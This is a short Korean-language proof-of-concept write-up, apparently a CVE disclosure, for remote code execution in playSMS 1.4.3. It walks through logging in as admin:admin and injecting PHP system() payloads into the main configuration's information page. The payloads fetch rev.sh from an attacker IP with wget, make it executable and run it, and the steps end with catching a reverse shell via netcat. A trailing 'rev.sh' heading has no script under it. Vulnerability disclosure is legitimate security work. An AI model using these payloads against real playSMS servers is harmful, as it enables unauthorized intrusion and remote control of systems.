CVE-playsms

playsms 1.4.3에는 잠재적 공격자가 원격 코드 실행을 수행할 수 있게 하는 취약점이 있습니다.

RCE(셸) 재현 방법:

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• admin:admin으로 로그인
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• 공격자 머신에서 악성 bash 파일 호스팅
• 머신에서 wget을 사용하여 악성 파일 다운로드
• <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?> 입력
• 정보 저장 (입력 상자에서 사라지지만 여전히 동작함)
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• 페이지 새로고침 http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• chmod + 셸 스크립트 실행 - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• 저장 후 * http://127.0.0.1/index.php?app=main&inc=core_welcome 방문하여 코드 실행
• 원격 셸을 잡기 위해 로컬 netcat 핸들러 실행

rev.sh